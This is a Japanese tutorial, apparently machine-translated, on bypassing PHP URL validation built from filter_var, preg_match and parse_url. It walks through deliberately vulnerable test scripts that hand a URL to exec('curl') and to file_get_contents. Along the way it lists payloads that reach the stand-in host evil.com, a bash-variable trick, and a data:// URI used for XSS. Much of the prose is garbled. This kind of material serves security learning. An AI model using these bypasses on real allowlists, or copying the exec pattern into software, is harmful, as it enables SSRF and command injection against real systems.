0x01の序文
転送:Pino_HD
コードが0x02
<?php
echo "Argument: ".$argv[1]."\n";
//check if argument is a valid URL
if(filter_var($argv[1], FILTER_VALIDATE_URL)){
//parse URL
$r = parse_url($argv[1]);
print_r($r);
//check if host ends with google.com
if(preg_match('/baidu\.com$/', $r['host'])){
//get page from URL
exec('curl -v -s "'.$r['host'].'"', $a);
print_r($a);
}else{
echo "Error: Host not allowed";
}
}else{
echo "Error: Invalid URL";
}
?>
このコードは使用していますfilter_var()
機能、preg_match()
フィルタの機能、およびparse_url()
解析機能を。最後に、exec関数は、URLにアクセスするためのカールのコマンドを実行します。
特別な注意parse_url
絵はその指摘parse_url
検証しませんurl
正しさを。
バイパスにfilter_varとするpreg_matchの0x03のテキスト
多くのURL構造は特別な意味を表すために使用されるいくつかの特殊文字を維持するために、URLの場所にこれらの異なる符号は、その特別な意味を持っています。文字“;”, “/”, “?”, “:”, “@”, “=”
とは、“&”
予約されています。経路セグメントにおける階層点に加えて、一般的な構文の経路セグメントが不透明であると考えられます。生成されたURIのアプリケーションは、通常予約文字は許可セクションを分離するために使用されます。例えば、“;”
および“=”
別のパラメータとパラメータ値を使用します。コンマは、同様の効果があります。
例えば、いくつかの構造が使用されname;v=1.1
名前を表現するためにversion是1.1
、だけでなく、使用することができるname,1.1
のと同じ意味を表すために。もちろん、URLのために、これらのシンボルは、URLがその効果を示すために、アルゴリズムに依存します禁じます。
例えば、ホスト名ならば、URLをするために使用“http://evil.com;baidu.com”
することcurl
、またはwget
そのようなツールはに解決しましたhost:evil.com,querything:baidu.com
コードを実行してみてください
戻って、エラーが見つかりましたInvalid URL
ので、それはあるfilter_var
機能がバイパスされていません。filter_var
関数は、さまざまなプロトコルを解決することができ、我々は試すことができないhttp
などのプロトコルを、
0://evil.com;baidu.com
[OK]を、成功したバイパスfilter_var
とpreg_match
機能!しかし、我々はそれがないので、我々は、ポート番号を追加しようとするものを、心配しないでください、それは私たちのURLを解決できないことが判明し、デフォルトのHTTPポートではありません80
0://evil.com:80;baidu.com:80
解像度が成功します!
もちろん、私たちは、カンマもセミコロン関数とすることができる前に言いました。
バイパスでもparse_urlの0x03のテキスト
parse_url
関数は、URLの正しさを検証するために使用されていませんが、可能なURLを解決するために、およびURLは、特定のセクションに分かれています。この場合、URLは、バイパス部が可変となる実行するために使用することができます。
0://evil$baidu.com
もちろん、これはPHP5環境で、PHP7でもparse_urlが自動的に解析する際に$ baidu.com
ここで、中にbash
中央の、$var
この場合には、変数、され$baidu
、この変数が定義されていないが、このURLが0であることを、空である://悪.COM <空>を、されて0://evil.com
成功したバイパス!
しかし、このアプローチは、これだけのPHPスクリプトを使用し、理由のプロパティの使用をbashに必要では限界がありexec()
、system()
完全な実行機能へのコマンドは、カールやwgetのようなコマンドを実行するとき。
データの0x04のボディ://擬似プロトコルおよび使用XSS
上記とexec
異なる、ここで我々が使用するfile_get_content
機能を次のように、PHPのテスト・コードは次のとおりです。
<?php
echo "Argument: ".$argv[1]."\n";
// check if argument is a valid URL
if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
// parse URL
$r = parse_url($argv[1]);
print_r($r);
// check if host ends with google.com
if(preg_match('/baidu\.com$/', $r['host'])) {
// get page from URL
$a = file_get_contents($argv[1]);
echo($a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>
私たちのタスクはレスポンスボディの内容を変更することで、追加“Hacked by Pino_HD”
data://text/plain;base64,SGFja2VkIGJ5IFBpbm8Kbaidu.com
ディスカバリーparse_url
に機能がtext
セットになったhost
、そして報告されたHost not allowed
エラーを。しかし、私たちが何かに注入することができ、心配しないでくださいMIME
PHPは気にしないであるため、場所の種類をMIME
タイプ。
data://baidu.com/plain;base64,SGFja2VkIGJ5IFBpbm8K
私たちは応答パケットに書きたいものをOK、成功した書き込み。だから我々は、それによって形成し、レスポンスボディの内容を制御することができますxss